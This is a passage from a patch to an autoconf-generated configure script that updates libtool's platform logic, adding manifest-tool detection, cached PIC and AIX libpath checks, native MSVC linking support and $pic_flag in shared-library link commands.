++ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
++if test -n "$ac_ct_MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
++$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_MANIFEST_TOOL" = x; then
++ MANIFEST_TOOL=":"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
++ fi
++else
++ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
++fi
++
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
++$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
++if ${lt_cv_path_mainfest_tool+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&5
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
++ fi
++ rm -f conftest*
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
++$as_echo "$lt_cv_path_mainfest_tool" >&6; }
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++
++
++
++
++
+
+ case $host_os in
+ rhapsody* | darwin*)
+@@ -8126,6 +8619,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
+ echo "$AR cru libconftest.a conftest.o" >&5
+ $AR cru libconftest.a conftest.o 2>&5
++ echo "$RANLIB libconftest.a" >&5
++ $RANLIB libconftest.a 2>&5
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -8196,6 +8691,16 @@ done
+
+
+
++func_stripname_cnf ()
++{
++ case ${2} in
++ .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
++ *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
++ esac
++} # func_stripname_cnf
++
++
++
+
+
+ # Set options
+@@ -8711,8 +9216,6 @@ fi
+ lt_prog_compiler_pic=
+ lt_prog_compiler_static=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ if test "$GCC" = yes; then
+ lt_prog_compiler_wl='-Wl,'
+@@ -8878,6 +9381,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='--shared'
+ lt_prog_compiler_static='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ lt_prog_compiler_wl='-Wl,-Wl,,'
++ lt_prog_compiler_pic='-PIC'
++ lt_prog_compiler_static='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -8940,7 +9449,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='-KPIC'
+ lt_prog_compiler_static='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
+ lt_prog_compiler_wl='-Qoption ld ';;
+ *)
+ lt_prog_compiler_wl='-Wl,';;
+@@ -8997,13 +9506,17 @@ case $host_os in
+ lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
+-$as_echo "$lt_prog_compiler_pic" >&6; }
+-
+-
+-
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
++$as_echo "$lt_cv_prog_compiler_pic" >&6; }
++lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -9064,6 +9577,11 @@ fi
+
+
+
++
++
++
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -9414,7 +9932,8 @@ _LT_EOF
+ allow_undefined_flag=unsupported
+ always_export_symbols=no
+ enable_shared_with_static_runtimes=yes
+- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -9513,12 +10032,12 @@ _LT_EOF
+ whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
+ hardcode_libdir_flag_spec=
+ hardcode_libdir_flag_spec_ld='-rpath $libdir'
+- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -9532,8 +10051,8 @@ _LT_EOF
+ archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -9551,8 +10070,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -9598,8 +10117,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -9729,7 +10248,13 @@ _LT_EOF
+ allow_undefined_flag='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9742,22 +10267,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -9769,7 +10301,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9782,22 +10320,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -9842,20 +10387,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+ # no search path for DLLs.
+- hardcode_libdir_flag_spec=' '
+- allow_undefined_flag=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- old_archive_from_new_cmds='true'
+- # FIXME: Should let the user specify the lib program.
+- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
+- fix_srcfile_path='`cygpath -w "$srcfile"`'
+- enable_shared_with_static_runtimes=yes
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ always_export_symbols=yes
++ file_list_spec='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
++ enable_shared_with_static_runtimes=yes
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ old_postinstall_cmds='chmod 644 $oldlib'
++ postlink_cmds='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ old_archive_from_new_cmds='true'
++ # FIXME: Should let the user specify the lib program.
++ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ enable_shared_with_static_runtimes=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -9916,7 +10504,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+ hardcode_libdir_flag_spec='-R$libdir'
+ hardcode_direct=yes
+ hardcode_shlibpath_var=no
+@@ -9924,7 +10512,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -9940,7 +10528,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux10*)
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -9964,10 +10552,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+@@ -10046,23 +10634,36 @@ fi
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ # This should be the same for all languages, so no per-tag cache variable.
++ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
++$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
++if ${lt_cv_irix_exported_symbol+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+-int foo(void) {}
++int foo (void) { return 0; }
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+-
++ lt_cv_irix_exported_symbol=yes
++else
++ lt_cv_irix_exported_symbol=no
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+- LDFLAGS="$save_LDFLAGS"
++ LDFLAGS="$save_LDFLAGS"
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
++$as_echo "$lt_cv_irix_exported_symbol" >&6; }
++ if test "$lt_cv_irix_exported_symbol" = yes; then
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -10147,7 +10748,7 @@ rm -f core conftest.err conftest.$ac_objext \
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+ else
+ allow_undefined_flag=' -expect_unresolved \*'
+@@ -10166,9 +10767,9 @@ rm -f core conftest.err conftest.$ac_objext \
+ no_undefined_flag=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -10744,8 +11345,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -10778,13 +11380,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
